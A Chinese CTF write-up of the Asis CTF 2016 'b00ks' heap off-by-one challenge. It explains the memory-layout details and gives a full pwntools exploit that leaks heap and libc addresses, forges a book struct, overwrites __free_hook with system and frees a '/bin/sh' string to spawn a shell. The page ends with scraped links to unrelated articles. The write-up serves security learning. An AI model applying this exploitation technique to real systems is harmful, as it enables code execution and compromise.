【PWN · heap | Off-By-One】Asis CTF 2016 b00ks

萌新进度太慢了,才真正开始heap,还是从简单的Off-By-One开始吧


前言

步入堆的学习。堆的知识复杂而多,于是想着由wiki从简单部分逐个啃。

b00ks是经典的堆上off-by-one漏洞题目。刚开始看很懵(因为确实连堆的管理机制都没有完全了解)。


一、一些疑难点以及思考

wp在网上有很多,然而读了五六篇不同大佬师傅写的wp,发现有很多细节被忽略了,可能这些细节都是很简单的,然而作为萌新,一些基本的知识和思路还是缺乏。

好在,经过两三天的啃、跟着做,终于有了一些见解,基本思路也打通了。具体的wp就不在这里写了,可以食用其他大佬的wp,更为优质,而我就做一些补充。一些来自于本蒟蒻的细节的补充。

细节0:off-by-one进行的单字节溢出,可以用作泄露,可以用作覆写。

细节1:结构体分配内存时,先name成员指针、再description成员指针、后book结构体指针

  • 这个细节决定了,我们通过off-by-one进行单字节溢出时,地址总是减小,因此可以将book1结构体更新到description

细节2:description可以修改,因此布置fake-book1要在单字节覆写之前;name不可以修改,但是会被首先free——即free_hook在free name时首先发作

  • 这就意味着——如果不用onegadget,而利用system('/bin/sh')那就需要把name指针布置为bin_sh字符串指针,也就是需要修改name——我们可以修改fake_book1的desc指针指向book2的name的地址,同时由于book结构体中name、desc两个指针相邻,所以修改name值时,填入p64(bin_sh)+p64(free_hook)即可覆写name+desc指针为指定指针

细节3:fake_book1的偏移,为了能让fake_book1落在指定的、更新后的book1的位置,前面可能需要填充padding,这个通过gdb调试,将偏移后的伪结构体数据布置到指定指针位置。

  • 每次运行虽然heap变化,但是低位不变,因此偏移也固定。为了方便布置,可以将book1的descrption内容开大一些。

二、EXP

from pwn import *context(arch='amd64',log_level='debug')io=process('./b00ks')
def create(namesize,name,descriptionsize,description):io.sendlineafter(b'> ',b'1')io.sendlineafter(b'\nEnter book name size: ',str(namesize).encode())io.sendlineafter(b'Enter book name (Max 32 chars): ',name)io.sendlineafter(b'\nEnter book description size: ',str(descriptionsize).encode())io.sendlineafter(b'Enter book description: ',description)
def delete(bookid):io.sendlineafter(b'> ',b'2')io.sendlineafter(b'Enter the book id you want to delete: ',str(bookid).encode())def edit(bookid,newdescription):io.sendlineafter(b'> ',b'3')io.sendlineafter(b'Enter the book id you want to edit: ',str(bookid).encode())io.sendlineafter(b'nter new book description: ',newdescription)def printinfo(id):io.sendlineafter(b'> ',b'4')for i in range(id):io.recvuntil(b'ID: ')ID=io.recvuntil(b'\n',drop=True)io.recvuntil(b'Name: ')Name=io.recvuntil(b'\n',drop=True)io.recvuntil(b'Description: ')Description=io.recvuntil(b'\n',drop=True)io.recvuntil(b'Author: ')Author=io.recvuntil(b'\n',drop=True)return ID,Name,Description,Authordef changeAuthor(newAuthorname):io.sendlineafter(b'> ',b'5')io.sendlineafter(b'Enter author name: ',newAuthorname)### 1.泄露第一个book结构体的指针
# gdb.attach(io)
bookname=b'a'*32
io.sendlineafter(b'Enter author name: ',bookname)
create(16,b'a',256,b'a')io.sendlineafter(b'> ',b'4')
io.recvuntil(b'a'*32)
book1_ptr=u64(io.recvuntil(b'\n\n1.',drop=True).ljust(8,b'\x00'))
success('book1_ptr={}'.format(hex(book1_ptr)))
raw_input()### 2.伪造book1,并通过off-by-one修改book1到fake_book1
# 将fake_book1的name_ptr属性指向book2的name,将fake_book1的description_ptr属性指向book2的description
# 注意,由于name和description属性都是malloc的,且因为book结构体malloc(0x20)所以开辟的实际空间是0x30### 之所以+0x40(desc)在前,+0x38(name)在后,是因为第二个位置对应可修改的desc指针,可以通过其修改book2的name、desc
fake_book1=b'c'*0xc0+p64(1)+p64(book1_ptr+0x40)+p64(book1_ptr+0x38)+p64(0xffff)
# fake_book1=b'c'*0x20+p64(1)+p64(book1_ptr+0x38)+p64(book1_ptr+0x40)+p64(0xffff) 
edit(1,fake_book1)# 为了泄露libc版本,需要让book2的name或description由mmap分配,同时也因此,book1和book2的堆空间相邻
create(0x21000,b'b',0x21000,b'b')
changeAuthor(bookname)
# 注意下面的顺序,先desc再name对应payload的布置
book2_id,book2_desc,book2_name,book2_author=printinfo(1)
print(book2_id,book2_name,book2_desc,book2_author)
book2_name_ptr=u64(book2_name.ljust(8,b'\x00'))
success('book2_name_ptr:{}'.format(hex(book2_name_ptr)))
book2_desc_ptr=u64(book2_desc.ljust(8,b'\x00'))
success('book2_desc_ptr:{}'.format(hex(book2_desc_ptr)))
raw_input()libc_base=book2_name_ptr-0x5cf010
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
system=libc_base+libc.sym['system']
success('system:{}'.format(hex(system)))
execve=libc_base+libc.sym['execve']
success('execve:{}'.format(hex(execve)))
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))
success('bin_sh:{}'.format(hex(bin_sh)))
free_hook=libc_base+libc.sym['__free_hook']
raw_input()### 通过onegadget来打,但是均失败了
# one_gadget=libc_base+0xebc88 # 0x50a47 0xebc81 0xebc85 0xebc88
# edit(1,p64(0)+p64(free_hook))
# edit(2,p64(one_gadget))
# delete(2)
### 注意,这里的onegadget是没有patchelf该so和ld文件前即22.04版,16.04版未尝试### 通过system('/bin/sh')来打
edit(1,p64(bin_sh)+p64(free_hook)) #book2的name指针改为指向字符串'/bin/sh'的指针,desc指针指向free_hook
edit(2,p64(system)) #修改free_hook的值为system\
raw_input('+++++++')
delete(2)# name指向的区域最先free,触发free_hook,此时已改为systemio.interactive()

三、效果


总结

还是比较难的,但是跟着wp做了一遍,发现细节、原理、思路以及流程都能够了解并掌握,且gdb调适能力大大提升。加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/122772.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

windows8080端口占用

查看端口占用 netstat -ano | findstr “8080”查看占用进程 tasklist | findstr “4664”关闭占用进程 taskkill /f /t /im httpd.exe

centos中安装Mysql8.0

其实和mysql5.7的安装差不多 1.root用户 2.更新密钥 rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022 3.安装mysql yum库 rpm -Uvh https://dev.mysql.com/ get/mysql80-community-release-el7-2.noarch.rpm 4.通过上两步,我们就可以使用yum去安装…

超详细的Windows 11虚拟机安装教程

准备安装文件创建虚拟机Windows安装 准备安装文件 1、安装好VMware WorkStation 16 Pro(越新越好) 2、下载好Windows 11系统镜像 其中VMware的安装教程看我往期推送,至少用我提供的16.2版本,低版本的会出现蓝屏问题。Windows …

2024王道考研计算机组成原理——输入输出系统

7.1.1 输入输出系统和几种IO控制方式 输入设备:把数据从主机外部输入主机内部 输出设备:把数据从主机内部输出到主机外部 现在的IO接口(芯片)通常被集成在南桥芯片的内部 DMA接口其实也是IO接口(芯片)的一种,磁盘准备的数据先一个字一个字…

【JAVA学习笔记】 51 - 日期类

项目代码 一、第一代日期类 1.Date: 精确到亳秒,代表特定的瞬间 2.SimpleDateFormat:格式和解析日期的类 3.SimpleDateFormat格式化和解析日期的具体类。它允许进行格式化(日期> 文本)、解析(文本->日期)和规范化 public class Date01 {public static voi…

机器学习(python)笔记整理

目录 一、数据预处理: 1. 缺失值处理: 2. 重复值处理: 3. 数据类型: 二、特征工程: 1. 规范化: 2. 归一化: 3. 标准化(方差): 三、训练模型: 如何计算精确度,召…

.NET CORE 3.1 集成JWT鉴权和授权2

JWT:全称是JSON Web Token是目前最流行的跨域身份验证、分布式登录、单点登录等解决方案。 通俗地来讲,JWT是能代表用户身份的令牌,可以使用JWT令牌在api接口中校验用户的身份以确认用户是否有访问api的权限。 授权:这是使用JWT的…

搭建gnn环境

1.无法激活 激活pytorch遇到报错usage: conda-script.py [-h] [--no-plugins] [-V] COMMAND ... conda-script.py: error: arg-CSDN博客 参考教程 【精选】手把手教你在windows10安装GNN相关环境(torchtorch_geometricrdkitdeepchem)_gnn环境相关的包-…

redis6.0源码分析:字典扩容与渐进式rehash

文章目录 字典数据结构结构设计dictType字典类型为什么字典有两个哈希表?哈希算法 扩容机制扩容前置知识字典存在几种状态?容量相关的关键字段定义字典的容量都是2的幂次方 扩容机制字典什么时候会扩容?扩容的阈值 & 扩容的倍数哪些方法会…

matlab中类的分别之handle类和value类——matlab无法修改类属性值的可能原因

写在之前(吐槽) 最近由于变化了一些工作方向,开始需要使用matlab进行开发,哎哟喂,matlab使用的我想吐,那个matlab编辑器又没代码提示,又没彩色,我只好用vscode进行代码编辑&#xf…

EASYX动画效果实现

eg1:绘制小球的动画效果 通过一下的代码实现小球从左向右移动效果&#xff0c;计算小球的移动速度和帧率实现移动效果平和造成视觉上的错觉 #include <stdio.h> #include <easyx.h> #include <iostream> #include <math.h> #define PI 3.14 // 1PI …

springboot在线招聘系统

springboot在线招聘管理系统&#xff0c;java在线招聘管理系统&#xff0c;在线招聘管理系统 运行环境&#xff1a; JAVA版本&#xff1a;JDK1.8 IDE类型&#xff1a;IDEA、Eclipse都可运行 数据库类型&#xff1a;MySql&#xff08;8.x版本都可&#xff09; 硬件环境&#xf…

云服务器的先驱,亚马逊云科技海外云服务器领军者

随着第三次工业革命的发展&#xff0c;移动互联网技术带来的信息技术革命为我们的生活带来了极大的便捷。其中&#xff0c;不少优秀的云服务器产品发挥了不可低估的作用&#xff0c;你或许听说过亚马逊云科技、谷歌GCP、IBM Cloud等优秀的海外云服务器。那么云服务器有哪些&…

Word批量删除文档属性和个人信息方法图解

投标文件中设计敏感信息&#xff0c;在投标前必须删除&#xff0c;Word批量删除文档属性和个人信息方法图解&#xff1a; 右键word文件属性--详细信息&#xff0c;可以查看如下信息&#xff1b; 删除上述信息的办法&#xff1a; 1.打开word文件---文件 2.检查文档、检查文档 检…

【Python · PyTorch】线性代数 微积分

本文采用Python及PyTorch版本如下&#xff1a; Python&#xff1a;3.9.0 PyTorch&#xff1a;2.0.1cpu 本文为博主自用知识点提纲&#xff0c;无过于具体介绍&#xff0c;详细内容请参考其他文章。 线性代数 & 微积分 1. 线性代数1.1 基础1.1.1 标量1.1.2 向量长度&…

分类预测 | Matlab实现KOA-CNN-BiLSTM-selfAttention多特征分类预测

分类预测 | Matlab实现KOA-CNN-BiLSTM-selfAttention多特征分类预测 目录 分类预测 | Matlab实现KOA-CNN-BiLSTM-selfAttention多特征分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现KOA-CNN-BiLSTM-selfAttention开普勒算法优化卷积双向长短期记忆神…

HIT_OS_LAB1 调试分析 Linux 0.00 引导程序

操作系统实验一 姓名&#xff1a;董帅学号&#xff1a;2021111547班级&#xff1a;21R0312 1.1 实验目的 熟悉实验环境掌握如何手写Bochs虚拟机的配置文件掌握Bochs虚拟机的调试技巧掌握操作系统启动的步骤 1.2 实验内容 1.2.1 掌握如何手写Bochs虚拟机的配置文件 boot: f…

使用 Visual Studio Code 编写 TypeScript程序

安装 TypeScript 首先&#xff0c;确保你已经安装了 TypeScript&#xff0c;如果没有安装&#xff0c;请参考https://blog.csdn.net/David_house/article/details/134077973?spm1001.2014.3001.5502进行安装 创建 新建一个文件夹&#xff0c;用vs code打开&#xff0c;在文…

学习笔记---更进一步的双向链表专题~~

目录 1. 双向链表的结构&#x1f98a; 2. 实现双向链表&#x1f41d; 2.1 要实现的目标&#x1f3af; 2.2 创建初始化&#x1f98b; 2.2.1 List.h 2.2.2 List.c 2.2.3 test.c 2.2.4 代码测试运行 2.3 尾插打印头插&#x1fabc; 思路分析 2.3.1 List.h 2.3.2 List.…

基于Qt 的CAN Bus实现

# 简介 从 Qt5.8 开始,提供了 CAN Bus 类,假设您的 Qt 版本没有 CAN Bus,可以参考 Linux 应用编程来操控开发板的 CAN,目前我们主要讲解 Qt 相关的 CAN编程。其实 Qt 也提供了相关的 Qt CAN 的例子,我们也可以直接参考来编程。读者手上需要有测试 CAN 的仪器!否则写好程…